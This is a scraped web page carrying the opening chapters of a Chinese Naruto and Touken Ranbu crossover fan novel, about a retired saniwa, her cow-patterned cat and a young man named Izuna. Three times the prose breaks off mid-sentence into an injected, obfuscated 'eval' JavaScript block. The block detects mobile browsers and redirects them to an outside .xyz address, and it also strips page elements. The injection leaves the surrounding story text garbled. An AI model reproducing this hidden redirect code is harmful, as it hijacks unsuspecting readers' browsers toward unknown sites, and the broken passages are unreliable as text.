《[火影]我的猫有哪里不对劲》 1. 第一章 1. 穿越到这个世界的第三年,我有猫了。 这天我尝试联系时之政府仍然失败,坐在院子里长吁短叹,转眼就看见一只猫趴在我家院墙上看我。 是只黑白色的奶牛猫,眼睛和我以前常见的黄底不同,是罕见的绿眼睛。 像春日荡漾的湖水。 我盯着它看。 它也盯着我看,像是在审视我。 我“咪”了一声。 奶牛猫似乎震住了,眼睛睁得很大地看我。 然后我朝它伸出手,它便高昂着脑袋从墙边轻盈地跃下,踩着猫步走到我身边,轻轻地咪了一声。 于是我有猫了。 我叫它南泉。 因为以前我本丸里和猫有些关系的就是南泉。 不过这只南泉似乎天性过于自由,关不住,只是会定期回家看一看,隔三差五回来一次,被我投喂摸摸后就会跑走。 我至今不知道南泉是公猫还是母猫,因为每次我想看的时候它都会给我一记猫猫拳跑走。 跟成精了似的。 不能再这样下去了。 我想。 于是在南泉再一次回家后,我决定这次无论如何都要确认南泉的性别。 奶牛猫凄惨地嚎叫着跳上院墙,我也跟着翻过去——它猫眼里满是震惊——开玩笑,再怎么说我也是曾跟着付丧神们上过战场的审神者,这点身手还是有的! 我们一人一猫就这么追逐了起来,沉浸在追逐战中不知天地为何物了! 接着南泉窜进了一条没什么光亮的狭窄小巷。 我站在小巷外边,止住了脚步。 属于审神者的危机雷达滴溜溜地响,我也曾到过浪人流窜的时代,那些混乱的时代中,走进这种巷子,下一秒可能就会看见一具倒地的尸体,也可能迎面一个准备试刀的浪人。 今时不同往日,我身边没有付丧神保护。 我在巷子外犹豫地喊它名字:“南泉?” 没有声音。 这下我是真的有些着急了,手从包中抓了把符咒出来预备着,小心翼翼朝巷子里走。 一线天光斜斜洒落,巷子里视野暧昧,蒙着灰蒙蒙的细尘。 “南泉?”我继续唤着猫,有点着急了,“你出来吧,我不强迫你了。” 没有声音回我,我也不知道是该松口气还是该更紧张。 走到快尽头的地方,我看见了个人影。 我停了下来,那个站在阴影中的人脚边上趴了只小小的团子。 “南泉?”我又问。 小团子很轻地咪了一声,没动。 于是我确认了猫的下落,又看向那个一直没什么动静的人影:“你好,那是我的猫……” “你的猫?” 说话的是个男声,声音清朗,还带着些古怪的笑意。 他俯身拎起南泉,平日里对它有些大动作便一阵拳打脚踢的奶牛猫乖乖被他抱在怀里一动不动。 这人继续问我:“他叫南泉?” 于是我明白南泉是只公猫了。 但这人怎么知道的比我还多? 我感觉到不对劲了,闷闷嗯了一声。 巷子里的人影朝我这边走了几步,我也得以借助蒙昧的光线看清这人的模样。 是个很年轻的青年人,穿着身高领的藏蓝色外袍,冷白色的皮肤,下巴藏在宽大的高领里,眉眼有种精致的锐利感,唇角微微弯着,似笑非笑。 他看了眼手里的猫:“我说他怎么最近行踪古怪,原来找了主人。” 南泉趴在他怀中虚弱地咪了一声。 “是吧,南泉?”他似乎仍不放过怀里的猫,咬着他名字的发音问着,明明很轻松的语气,却平白让听的人觉得有几分讥诮。 这下我也明白是怎么回事了。 恐怕眼前的青年才是南泉的主人。 这猫背着他在外面偷吃,我才是拐带别人猫的家伙。 “……所以,这是你的猫?”沉默一阵后,我艰难开口。 可我好不容易才有猫了。 让猫在外面另找了主人,是原主的不合格吧! 我岌岌可危的道德正在和养猫的欲望作斗争。 “嗯?不算吧。”青年闻言好似不太在意地说道。 他又向我走了几步,把猫递向我:“喏,你的猫。” 山重水复疑无路,柳暗花明又一村。 我“啊”了一声,呆呆抬头看他,但身体已经先一步接过了南泉。 我的道德,又完好无损了。 南泉紧紧扒住我,完全没了之前的高冷,似乎被吓着了。 “那你和南泉是什么关系?”我又问他。 “有空会投喂,就这样吧,好好对他。”青年说。 我抱紧猫点头,犹豫了一下,又说谢谢。 他摆了摆手,绕过我向外走。 我也跟着转身往外走。 这时我注意到青年脑后有一条绑束起来的长发,柔顺地垂落在他背后,掩入他宽大外袍的领口里。 我后知后觉,这人在这里面做什么? 这里这么荒僻,他也不像住在这里的人。 但我没问。 好奇心会害死猫的道理我还是懂的。 等到出了巷子,暖融融的光落在身上,我抱着南泉,先前那名青年已不见了踪影。 我低头摸摸手感扎实的猫,又看着人流如常的大街,好似刚才发生的是一场梦。 我对着南泉说:“所以,你是只公猫。” 刚才还乖乖扎在我怀里的猫闻言大叫着逃出了我的怀里。 黑白两色的猫远远落在地上龇牙咧嘴地看我。 ……这猫怕不是真的成精了,真记得我之前随口提的绝育的话。 “好啦,别闹了,回家了。”我又朝猫伸出手。 南泉不理我,朝家的方向跑去。 2. 南泉实在是一只好动的猫,根本没办法关起来养。 他总能找到机会跑出去,有时候我都不知道他是怎么做到的。 这天南泉又不见了,我在家里找了一遍只找到他掉的毛,叹了口气后知道他又跑出去逍遥了。 也不知道这次多久才回来。 我在这个世界开了家甜水铺,也就是奶茶店。 我是退役审神者,因为平日会跟着上战场,所以退役年限要短得多。办完退休手续准备回现世的时候,时空传送机不知道出了什么问题,把我传送到这个世界来了。 所幸我退休金丰厚,而且是各个世界的硬通货金属,这才免了我饿死在异世界的凄惨结局。 但坐吃山空什么都不做好像又不太对劲,我就干脆开了家奶茶店,只要不亏就是赚了。 因为是自己的店,不用付租金人工,所以我开得也比较随意,经常只开半天。 眼见找不到猫,我就收拾收拾准备开门营业。 隔壁店主见我来开门,热心问了几句,又问怎么没看见我家猫。 “不知道又跑哪儿去玩了。”我说。 “跟我们家孩子一样。”隔壁店主也跟着长吁短叹。 “……” 隔壁店主养的爬宠。 等会儿关店好好打扫一下卫生吧。 我礼貌地没吱声,给自己调了杯烤奶喝。 一天卖不出去几杯,自己喝了还倒欠店里钱,说的就是我。 没一会儿有人进店。 是两个长的很好看的年轻人,其中一个有点眼熟。 但我想不起在哪儿见过。 两人坐在桌边,好奇看我的菜单,其中一个问我这上面写的都是什么东西。 我指着第一列:“甜的奶。” 又指第二列:“甜的茶。” 再指第三列:“甜的果茶。” 问话的人噗嗤笑出了声,把菜单递给他边上的人:“泉奈大人,你先点吧。” 我看过去,见这被称作泉奈我又着实感觉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“欸?完全不一样,”我顿了一下,明白对方的担忧了,“你不要误会,我不是把南泉当替身,怎么说呢……叫这个名字其实是有点怀念过去。” 在我觉得自己可能没解释清楚的时候,泉奈的神情却有些意外起来,看向我身后。 我大感不妙,回头看去,就见南泉端坐在门边上,猫瞳紧紧盯着我。 我:“……” 这猫是真听得懂人话来着。 我抖了抖唇,想着为自己辩驳几句。 这算什么事啊!怎么感觉自己是个寻找替身的渣女呢!这种修罗场为什么会发生在我和猫之间啊! 但我还没来得及说话,奶牛猫就发出一声很尖利的叫声,直接跑了。 我连忙去追:“等等,南泉,你听我解释!” 这话一出,我瞬间有种完了真成电视剧的感觉了。 但奶牛猫跑得真的很快。 刚要出门的我顿了一下,回头看桌边上坐着的泉奈,又拉住他一起跑。 泉奈:? 他莫名其妙被我拉着:“为什么要带上我?” 我边跑边喘气:“抱歉,帮忙追一下南泉,这件事你也有责任吧!” 如何不是他问起这件事…… 如果不是一开始他不知道南泉不在,我都要以为这是他为了从我这里夺走猫猫之心的阴谋了! 泉奈:…… 我听他似乎笑了一声:“要我追上猫,先把我的手放开吧?” 我后知后觉,连忙松手,就见他掠过我冲了出去。 我震撼地瞪大眼睛,看着泉奈的背影。 这、这是骑了长谷部的机动吗! 2. 第二章 1. 猫被泉奈拎着,不复之前的乖巧沉默,对我龇牙咧嘴地喵喵叫。 我犹豫了下,伸手去碰,手立刻被划伤,血珠瞬间涌了出来。 泉奈微微蹙眉把猫往后提溜了点。 “差不多够了。”泉奈说,语气有点冷。 也不知道是对我还是对猫说。 反正猫顿了一下,但还是不甘不愿地喵喵叫。 我抿了抿唇,把手收回,蹲在猫身边和他说:“抱歉。” 猫继续冲我哈气。 如果只是普通的猫,我大概会因为被抓伤生气。 但是这段时间相处,我已经知道这只猫异于常人的聪明,是能明白我们人类的意思的。 “我确实没把你当作过去的南泉……”我想了想,还是如实说,“过去的南泉其实是一把刀,有着被猫诅咒逸闻的刀。” 猫停下了威胁。 我继续道:“你们也确实一点也不像,取这个名字也只是因为我有点怀念过去的生活。要是你不喜欢,换一个名字也可以。” 奶牛猫喵了一声,没刚才凶了。 我见状又问他:“我现在可以摸摸你吗?” 猫撇过头咪了声。 我有点拿不定主意,不知道是允许还是拒绝。 这时泉奈说:“他同意了。” 我诧异地看向泉奈,同时心里有点吃味,他比我这个正经主人还要了解猫,但还是听他的话摸上了猫猫脑袋。 这次猫没挣扎反抗,我轻轻松了口气,在泉奈松手后把猫抱了起来:“那你想叫什么名字?” 猫猫咪了一声,我又听不懂猫的话,就当他要改名了。 于是我又问泉奈:“你以前叫他什么啊?” 泉奈有些意外地看了眼猫:“我没给他取名字,没怎么叫过他。” 我:…… 猫:…… 难怪他要问我怎么给猫取名叫南泉。 我摸摸猫的脑袋权当安慰,看看奶牛猫黑白的花色,想了想,说:“那我就叫你牛奶好了。” 猫:…… 泉奈撇过头闷笑了一声。 我抬眼不善地看向他:“总比没有名字好吧?” 他愣了一下,眼神古怪:“你在指责我?” 我也愣了下,而后赶紧抱歉,再怎么说今天也是泉奈帮了我,刚才也是他按着牛奶没让他继续抓我的。 其实我就是有点迁怒——泉奈比我更了解我的猫这件事。 想了想我说我重新给他调杯奶茶赔罪吧,这次我多加点小料。 这之后我们回店里,泉奈的同伴已经回去坐着了,奶茶也喝完了。 看见我们两人一猫回来,他微微睁大眼睛,看向我怀里:“欸?这不是……” 泉奈那杯奶茶基本没动,但看样子他不打算喝了。 也不知道他是不是不喜欢喝,可他又没拒绝新调一杯。 “她的猫。”泉奈打断他的同伴。 接着他又看向我,和我解释:“之前我喂猫的时候他见过。” 泉奈的同伴紧紧闭上嘴,一副极为古怪的神情。 我没再管,回去重新调奶茶,但泉奈又叫住我,让我先坐下。 “怎么了?”我疑惑看着他,坐下后他又让我把手给他。 我觉得有些莫名,抬起手给他看。 “另一只。”他说,语气有点无奈。 我又换了另一只手,他便从包里拿出了罐像是药膏的东西打开放在桌上,一手握住我的手,一手抹了药膏给我上药。 我呆呆地看着他。 “这猫平时什么地方都去,爪子里脏东西多,别惯着他。”泉奈一边上药一边说。 我闷闷嗯了一声,和他说了声谢谢。 我想起之前有一次在战场上遭遇时间溯行军,我刚好正面和时溯撞上,闪避不及时,手给擦伤了。 战斗结束后我觉得有点丢人,想着回去找创口贴贴上,准备继续行军,结果被药研拉到一边上药。 当时他也这么一边上药一边和我说话,就是手下力道不轻,恼恨我想把受伤糊弄过去的事。 上完药他说他也该走了,就不用再调奶茶了。 我沉浸在回忆里,听见他的话后点头:“那下次你来看猫的话我请你。” 这次他没说话,我才注意到他同伴已经出去了。 他又问今天的奶茶多少钱,我连忙摇头:“今天你帮我太多了。” 等他出门后我才坐在桌边上,开始掉眼泪。 想本丸的大家了。 自己一个人生活了太久,突然被关心,真的会让人想要落泪。 牛奶站在我边上,犹豫了一下,往我这边拿脑袋蹭我蹭,我想起今天就是他抓伤我的,就更想哭了,狠狠抱住奶牛猫一阵猛吸。 灵力保护下,应该不会破伤风或者狂犬病吧? 当时药研和我说我和他们不一样,他们虽然是人形,但毕竟是付丧神,受伤的话不用担心病菌的入侵,所以我如果受伤必须要及时处理,不要隐瞒。 那时候我刚当上审神者不久,听信了他的鬼话,后来才知道刀剑付丧神的身体和人类没有区别。 我因为这件事质问药研的时候,他还理直气壮地说什么“大将看见我们受伤都会第一时间手入,我们作为大将的刀,自然也希望大将的伤势及时得到处理……不,应该说,让大将受伤,本来就是我们的失职。” 这么一说我也不好说什么重话了,药研是护主的短刀,我受伤对他而言肯定意义不同,更何况那时候药研的处理确实很及时,包扎伤口时也很细致。 泉奈处理伤口的手法也很细致……欸? 伤口被抹了药膏,泛着股清凉的感觉,一边吸猫我一边想。 好像哪里不太对。 2. 鉴于牛奶抓伤我这件事,我觉得得找个时间给他剪剪指甲。 考虑到牛奶是一只敏感的猫,多半还有点记仇,我觉得剪指甲这事得从长计议。 不过这猫确实时常消失,行踪诡异,我很难找到机会对他进行安抚。 ——要不再当着他的面哭一次? 我心里不道德地这么想。 但哭泣还是太难为情了,而且我好像也没什么要哭的,假哭这猫肯定不上当还会觉得我傻了。 于是这个计划遂作罢。 机会来得很凑巧。 这天牛奶回家吃饭,我在边上尝试叫他一声,他似乎心情很好,慢悠悠踱到我脚边,尾巴一甩一甩的。 好机会! 我把他抱起来给他顺毛,问他最近跑哪去啦,他也轻轻咪着,我俩人同猫讲着,正当我准备握住牛奶的爪子,突然瞥见他白色的下腹毛色上沾了褐色的东西,像是干涸的血迹。 我大惊失色,连忙按住他问他哪里受伤了,但很奇怪的是找了一圈又没看见伤。 难道是在外面打架打赢了? 我满心疑虑,这么折腾牛奶一番后他居然也没亮爪子,似乎记得上次我被他抓伤的事。 有点感动,但今天这爪子照剪不误。 只是牛奶在刚才我松手后就跑得远远的,我怎么叫他他都不理会。 没办法了,我也不想硬来的。 我一边叹气一边朝他走去,牛奶本来在喝水,听见我的动静当即警惕地顿住,而后往院子里跑。 我见状也追过去,又和他玩起了幼稚的躲猫猫。 这猫不知道是不是意识到了什么,明明我也没有暴露目的,他就是不让我抱,最后还一口气蹿上了树。 “……” 我站在树下,抬手挡着阳光往上望,苍翠的树叶在风中招摇着,牛奶抓着一根看起来很结实的枝干,站在上面冲我喵喵叫。 我:不好,这不会是下不来害怕了吧? 一般猫好像都下不来,而且牛奶还叫得这么大声。 我守在树下担心他失足掉下来,不知道该怎么办。 这时候前面响起泉奈的声音:“打扰了——欸?没人吗?” 我赶紧高声应了一声:“有人的,我在院子里!” 正当我还在想只这么说泉奈大概不会进来吧,又打算叫一声帮帮忙,泉奈就掀开帘子走了出来。 我见状立刻松了口气,忙和他说牛奶跑到树上了,请他帮忙看着一下,我去拿东西救他下来。 “——救?”泉奈挑了挑眉,也抬头看向树上的猫,语气微妙,“他怎么上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749026|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了?” 我就说了下事情原委,然后道:“本来只是想给他剪指甲……欸,我先去拿工具,等会儿再说。” 我也是第一次遇到这种事,本丸的小老虎也没这么闹腾过。以前我是听过有那种专门的救猫工具,但我见都没见过,现在好像只能在树下架个网了。 我家里也没这些东西,只能拿被单和木架子在树下固定,架子是现成的,院子里搭了有。 结果等我抱着被单出来的时候,那只坏奶牛猫已经被泉奈抱在怀里了。 我当即大脑宕机,呆呆看着眼前的一人一猫:“啊?” “他刚才掉下来,我正好把他接住了。”泉奈面不改色地把猫放到地上,牛奶便立刻窜到了一旁,警惕地盯着我们这边。 我见状有点头痛,泉奈又说:“我检查过了,他没有受伤。” 我这才松了口气,又上前拉住他的手翻着检查,问他有没有受伤。 毕竟牛奶的吨位也不小。 泉奈的手上不少地方都有茧,不像是握笔产生的。 没来不及思考这些地方的茧子可能是因为什么造成的,他的手指便微微动了动,轻轻抽回手。 “没事。”他说。 我也不好去探究别人的隐私,也就点了下头,和他道谢。 泉奈见又问我要不要先把东西放下,还说:“不用谢,刚好遇到而已,更何况我也喂过几次牛奶。” 我回过神,点点头,和他说可以先在店里坐一下,然后去放被单。 回来的时候泉奈正在看菜单,听见响动抬起头来,颊边泛着点蓝的发梢微微晃动。 我下意识挪开眼,又看回他,问他要点什么:“刚好上一次还欠你一杯,这一次也欠你一杯。” 他闻言笑了下,眼睛里笑意似乎闪着光:“这样总欠下去,总觉得会还不清。” 我控制不住地轻轻眨了下眼睛,手指蜷了一下,又听他道:“到时候我恐怕就会被讨厌了。” “……不会的,说不定这是我留下客人的方式。”我连忙反驳。 泉奈摇头:“上次我的朋友也有一份,这次欠的就抵他上次的那杯好了。” 我“欸”了一声,泉奈又说:“毕竟他上次什么都没做。” 好像也对。 * 泉奈问我怎么想起来要给牛奶剪指甲。 “很容易伤到人吧。”我说。 “但可能对他不好呢。” 泉奈这么说的时候,牛奶正小口小口在猫粮碗里吃我做的猫饭。 我疑惑地看泉奈,泉奈又说:“他不是常出去吗?这猫有些好斗,总爱和同类打架。” 牛奶从碗里抬起头大声地喵呜。 泉奈继续说:“剪了爪子,他会被欺负。” 我的思路倒是拐到另一个方向。 剪了爪子后,牛奶打不过其他猫,岂不是就会乖乖留在家里? 我连忙回神抛掉这个可怕的想法,不妥不妥,之前泉奈还说牛奶还住在猫群里来着,猫猫得有自己的社交。 “……好吧。”我轻轻叹气,放弃了给牛奶剪指甲这个想法。 这之后泉奈边喝奶茶边和我聊天,他说他以前来过这里,那时候好像还不是我在这里开店。 “嗯,我前几年刚搬来的,”我说,又注意到他话里的细节,“泉奈你以前住在这附近吗?我似乎也没怎么在这里见过你。” 但短短时间内又见了他三面了。 泉奈又笑了:“是啊,以前住在附近,后来搬走了,前段时间刚搬回来。” 我点点头,没在追问,泉奈又问我的名字,我这才意识到这么久了我们好像没交换过姓名。 ……大概是因为以前总和付丧神们在一起,付丧神不需要知道审神者的姓名,所以我也习惯了,竟然没觉得不对。 接着我突然意识到,我和泉奈并没有交换过名字,连他的名字我也是在他朋友那里听见的,我就这么直接喊上了。 “……林铃,叫我铃或者林都可以,”我脸上有点发烫,之前居然就直接叫上了泉奈的名字,“我怎么称呼你?” “嗯?”他似乎有些疑惑地偏了偏头,而后笑着道,“直接叫我名字就好,铃。” 3. 第三章 1. 我出生在有灵力的家族中,自小被当作侍奉神明的人培养,因此我的名字也是直接取的礼器中的铃。 只是长大后我很意外地走上了另外一条路,成为了解、审视、判断、确认神明的审神者,为了守护人类历史甚至开始御使属于自己的刀剑付丧神们对抗妄图改变历史的时间溯行军。 成为审神者的理由很简单。 现代社会神明不显,许多神明缺少信徒已经消散,而世代侍奉神明的家族不仅对外业务减少,连侍奉对象都没了。 这个时候,时之政府横空出世,找到我问我要不要考虑成为审神者。 在职期间包吃包住、福利优厚,薪资更是可观,因为工作常驻地点是分配给每位审神者的本丸,所以还没有让人烦恼的同事关系。 我当即大喜过望,签了福利最高档、退休最早的武系审神者的合同。 结果武系审神者是要跟着本丸队伍一起出阵的,同时在练度达到一定要求后会先其它审神者们一步探查还没有审神者们接触过的历史——用游戏术语来形容的话,叫作开荒。 武系审神者随付丧神们一起出阵,面对多变的战场环境能够更灵活地向付丧神们下达指令,确保任务完成度的同时也能留下具体经验。 但跟随出阵十分危险,作为出生于现代时代的审神者而言,即便从已有资料了解过,出阵的时代依旧是全然陌生的,因此武系审神者的培训考核十分严格。 大多数选择这条路的审神者都是从小就为此培训或是其他相关行业的顶尖人才转职,总之不应该是我。 ……我这个为了提前退休的审神者真不该出现在里面。 每每出阵到古早野蛮的时代后悔时,我就靠着多攒攒业绩吃空时政这个梦想坚持下来,但熬到了退役年限后我居然还有点恍如隔世的不舍。 简直像被这份工作调教成了m。 退役审神者们的待遇不差。 除却物质上,审神者曾经常年生活的本丸和与之相伴多年的付丧神都能保留。 当然,也有直接让本丸等待第二任主人的,不过这些是少数,还有的会直接封存本丸,付丧神也因审神者离开而沉睡并被时之政府回收。 我选了第一种,然后急着回现世清点接收时政发给我的退休补贴和这些年的工资,匆匆踏入传送器。 结果传送器不知道出了什么意外,把我传送到了这个我所了解历史之外的世界。 我只能庆幸当初去现世的时候我抱了盒甲州金在身上,黄金在哪里都是硬通货。 希望时政能早点发现他们的优秀退役员工还没去领退休补贴,从而发现不对劲找来。 2. 再又一次尝试用通讯器联系时之政府失败后,我把通讯器扔桌子上打算出门逛逛。 每天的定番了,我现在觉得我每天捣鼓一下通讯器不是想回去,只是习惯,真有一天通讯器有了回应我估计还会被吓到。 牛奶见我起身,跑到桌边上,似乎想玩通讯器。 我连忙抱他起来,走出房间,一边摸着他的毛一边问他最近是不是又重了。 牛奶在我怀中喵喵喵,似乎是在赞同我的说法,而后到了院子里的时候一个挣扎跳到地上,翻上墙冲我叫了几声,翘着尾巴出门了。 我抓了下头发,抖了下身上的猫毛,出门的时候和隔壁的老板打了声招呼,往郊外的神社去了。 神社里供奉的是这个世界的丰收神,作为拥有灵力的审神者我能感觉到神社里其实并没神明的存在,但我和神社的巫女琴乃关系很好。 她是神主的女儿,住在神社里。平日里去神社的人不多,她也很少出门,深居简出,每天做完神社的工作后就呆在家里哪也不去。 我是在第一次来神社的时候职业病犯了,仔细了解起这座神社的来历和所供奉的神明的信息,和琴乃交谈起来,聊着聊着就处在了一起,经常来找她玩。 她和我说今天也没什么人来,她也就扫了扫院子就回房间待着了,又问我要不要看她练习神乐舞。 再过段时间就是丰收的时节了,会有娱神的祭典,她也要上台跳舞。 我说好,就在边上看着她拿着礼器练习起来。 我小时候也练过神乐舞,成为审神者后也跳过几次,不过那是时之政府的活动,付丧神们带的乐器有神乐铃,我就试着自己跳了几次。 不过比起自己跳舞,我更爱看本丸里的付丧神们跳。 等到和琴乃分别下山的时候,天色已经有些晚了。 路上没什么行人,山道两旁的树叶泛着微微的黄,我忽然听见了几声猫叫。 “……?” 我当然不可能从猫叫中分辨出自家的猫,但还是起了些好奇,寻声找过去。 路上积了些落叶,踩着发出清脆的裂响。 而后猫叫声越发清晰,转过好几条小路,我看见不远处有座供人休憩的凉亭。 泉奈背对着我靠着凉亭柱子坐着,只微微露出了小半张侧脸,手里拿着条小鱼干, 一只眼熟的黑白色奶牛猫蹲在他脚边,时不时发出几声猫叫。 泉奈唇角微勾,似乎说了什么,将小鱼干递过去,于是牛奶便直接上嘴夺过小鱼干溜达到另一边啃着。 等吃得差不多了,泉奈便又从兜里拿一条鱼干出来逗猫。 牛奶发出急促的猫叫,我觉得肯定是在骂他。 ……好恶劣。 这时候泉奈突然转头看过来,和我的视线对了个正着。 我眨了下眼,走过去,在牛奶准备溜走的时候把他抱在怀里,坐到另一边。 牛奶象征性地扑腾了一下,乖乖被我抱着。 泉奈递了根小鱼干给我,问我:“来找猫?” 我一边摇头一边把鱼干送到牛奶嘴边:“不是,来见朋友的,正准备回去。你呢?” 泉奈也笑:“我也是来见朋友的。” 闻言我有些疑惑地扫视了周围一圈:“在这里?” “见完了,然后来喂猫。”泉奈说。 我恍然大悟地看向怀里的牛奶:“所以牛奶平日里是在这边玩?” 以前我怎么没碰上。 “可能吧,我也是听见他声音找过来的。” 牛奶把鱼干吃干净后开始舔我的手指,我一个反射性地把手往回缩,他还往前凑,我低头看了眼他,用这只手去揉他猫脑袋。 牛奶软趴趴地叫了几声。 再抬头时泉奈的表情看起来似乎有点怪异:“你很喜欢他。” 我点头:“是啊,你不喜欢吗?” 泉奈没回答。 奇怪。 “你不是常喂他吗?”我又问。 “算是吧。”他回答我的上一个问题。 怎么感觉这答案勉勉强强的。 这时候一阵风吹过,树叶沙沙地响。 我看了眼天色,起身看向泉奈:“天要黑了,你要回家吗?” 泉奈抬眼看过来,头微微仰着,昏黄的天光将他冷白的肤色衬出些暖意,表情似乎有些意外。 “一起回去好了,我可以把牛奶借给你抱一会儿,你很喜欢他吧?”我问。 “……”他定定地看了我一会儿,嗯了一声,起身接过猫抱在怀里,“你怎么知道?” “你随身带着给牛奶的食物呢!”我和他说我判断的依据,我们一前一后出了凉亭,他跟上来走在我身边,“之前来店里其实也是为了看他吧。” “啊,”他说,“原来是这里暴露了啊。” “没办法,我们牛奶就是这么可爱的猫,喜欢他是人之常情,不需要藏着!你要是想来看他随时都能来,当然,如果他不在就没办法了。” “好像也不错。”泉奈说着低头看了眼猫。 之后我们就这么安安静静地往山下走,山道上的鸟居上有鸟雀停驻,时不时叫上几声,脚下的枯枝落叶发出碎裂的沙沙声。 等回到店门口,泉奈才把猫递给我,牛奶竟然已经睡着了,难怪一路上这么乖。 我接过牛奶的时候他轻咪了几声,抬头看是我又缩回去眯着。 泉奈看着我:“那我走了。” 我抱着猫说好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749027|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 泉奈走了后,牛奶突然醒了,飞快从我怀里跳下去,走到店门边咪咪叫着,催促我开门。 3. 我寻思着给牛奶做根逗猫棒。 买齐了材料后,简易的逗猫棒新鲜出炉,我拿着逗猫棒用羽毛去招呼牛奶。 奶牛猫端坐在看我摇逗猫棒,一动不动。 我:? “牛奶,牛奶,快过来。”我喊他。 奶牛猫的耳朵稍微动了动,踩着猫步走了过来。 我在他面前挥舞逗猫棒,但牛奶不为所动,歪着猫脑袋看我。 ……有点尴尬。 有种被猫鄙视了的感觉。 我轻轻咳了下,又打起精神,夹着嗓子逗他:“看这里看这里——” 这次猫跟着逗猫棒的走向转了转脑袋。 有机会! 正当我半场开香槟的时候,牛奶又看向了我。 我:“……” 这猫怎么回事!去抓逗猫棒不该是猫的本能吗! 正当我准备收拾东西把逗猫棒扔了的时候,牛奶突然扑了一下逗猫棒,两只爪子将逗猫棒上的羽毛按住,矜持地蹲坐着看我。 好可爱的猫! 他还歪着猫脑袋喵了一声,简直是在炫耀他的捕猎成果! “就是这样,继续呀!”我把逗猫棒收回来,又几乎在他面前晃悠。 牛奶跟着羽毛转转脑袋,终于学会怎么玩逗猫棒,开始扑腾起来! 我一边夸着猫猫,一边逗他,他一开始似乎还有点不太适应怎么玩,每次都要我出声夸夸他才继续,之后就越玩越疯,果然本质上还是猫猫! 自从有了逗猫棒,我就有了新乐趣,店里没人的时候我就和他玩。 反正店里也经常没有客人。 结果有次和他玩的时候,刚好泉奈来了。 外面在下雨,我笃定没人来店里,就趴在桌子边有一下没一下地摇逗猫棒,牛奶对这个游戏乐此不疲,不过总要我夸他才会继续玩。 先察觉到有人的是牛奶,他刚抓住我在逗猫棒上新装的毛球,就警惕地转头看向门口。 我也跟着看过去,见泉奈穿了身宽松的常服站在门口,手里拿了把朱红色的伞。 泉奈狭长的眼微微睁大,看着牛奶,没有说话。 牛奶抓着逗猫棒的毛球,也直挺挺地僵住,保持着直立的站姿。 “你们在玩?”泉奈先说话。 他一边合上伞,将伞倒立在门边让水顺着伞骨留下,等伞上的水干一些,一边看着我们问。 我连忙放下逗猫棒,到门边接过他手里的伞放到角落,一边说:“嗯,本来以为今天没有客人的,这么大雨你怎么出门了?” “家里有点事才处理完,刚准备回家,正巧路过,进来躲雨。”泉奈说。 我看了眼他没沾上水渍的衣服,没接话。 这么大雨从街上走过来,竟然没一点影响。 泉奈似乎也有秘密。 但我不是喜欢探究别人秘密的人。 这事我在当审神者后去别的时空里出阵调查溯行军时干得太多了,现在退休后能不多管闲事就不多管闲事。 “那进来坐坐吧,”我一边推着泉奈往里走,一边回答他一开始的问题,“刚才在和牛奶玩逗猫棒,他特别喜欢,你要不要试试?” “喵!”结果牛奶超级大声地叫了一声。 我有些稀奇牛奶的反应,又去摸摸他那颗手感扎实的猫猫头:“怎么了,很久没看见泉奈想他了吗?” 牛奶甩开我的手绕圈。 我明白了,刚才没玩够,还想继续。 于是我把逗猫棒递给泉奈,让他试试和牛奶玩。 泉奈表情古怪地看着手里的逗猫棒,似乎想笑,又硬憋着,泄露几声气音:“好。” 结果他一把逗猫棒往牛奶跟前伸,牛奶就一个猛扑压了上去,脆弱的逗猫棒发出一声不堪承受的呻/吟,折断了。 我吃惊地睁大眼睛。 泉奈笑出了声。 而牛奶,发出了愤怒的叫声。 4. 第四章 1. 逗猫棒坏了,牛奶似乎很伤心,叼着逗猫棒的残骸缩到角落里悼念自己的玩具。 泉奈坐在桌子边上,一只手托着腮,带着股看热闹的语气:“不高兴了。” 我瞪了下有点幸灾乐祸的泉奈——早就发现了,他对牛奶有种很奇怪的逗牛奶玩的恶劣感。 泉奈被我瞪得愣了一下,托腮的手缓缓放下。 我先给泉奈倒了杯热水,然后去翻之前买的逗猫棒材料,准备再给牛奶做一根。 泉奈看我开始做手工,凑过来一起看,语气似乎有点犹豫地问我:“你不照看一下客人吗?” 我停下手里的动作,抬头看他,刚好与他四目相对,那双眼睛根本没有我以为的不安,反而盛着淡淡的笑意。 不知道为什么,我没移开目光,他也没有,还轻缓地眨了下眼睛。 我好像走神了几秒。 等到回过神的时候,我放下手里的工具,公事公办问他:“那客人你想喝点什么?” 泉奈脸上的笑容却淡了。 他垂眸看向我手边的工具:“我不是这个意思。” “?”我疑惑地看着他。 见状他叹了口气:“没什么,我来帮忙吧,毕竟是在我这里断掉的。” 哦,原来是想一起做手工。 直说嘛。 我便把材料分了些给他,逗猫棒本来就很简单,我们一会儿就做好了。 这下牛奶有两根逗猫棒了。 